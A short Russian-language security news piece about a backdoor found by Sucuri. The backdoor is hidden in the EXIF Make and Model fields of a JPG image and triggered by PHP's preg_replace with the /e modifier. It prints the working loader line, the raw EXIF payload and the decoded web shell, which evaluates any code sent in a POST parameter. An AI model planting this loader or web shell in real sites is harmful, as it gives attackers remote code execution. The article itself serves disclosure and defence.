Компания Sucuri обнаружила новый способ внедрения бэкдора на веб-сайт: код прячется в служебном поле EXIF изображения JPG. Это может быть или новое изображение, которое пользователям разрешено добавлять на сайт, например, в качестве своего аватара или другой фотографии на форуме. Или это может быть измененная версия оригинального изображения.
На взломанном сайте был обнаружен на первый взгляд нормальный PHP-код, содержащий две функции PHP. Первая функция служит для считывания служебных данных EXIF из файла JPG, а вторая функция запускает программу.
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg'); preg_replace($exif['Make'],$exif['Model'],'');
Как и следовало предполагать, вторую часть бэкдора нашли в файле bun.jpg.
ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@ ^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^ @ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); @ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^
Заголовок Make содержит параметр "/.*/e". В PHP-функции preg_replace параметр /e используется для исполнения передаваемого ему кода. В то же время заголовок Model содержит непосредственно сам код.
Если расшифровать текст, закодированный в base64, то мы увидим следующее.
if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}
То есть бэкдор готов запустить на исполнение любой контент, полученный в POST-запросе через переменную zz1.
По мнению исследователей, это довольно необычный способ прятать исполняемый код на сайте. Эдакий взлом с элементами стеганографии.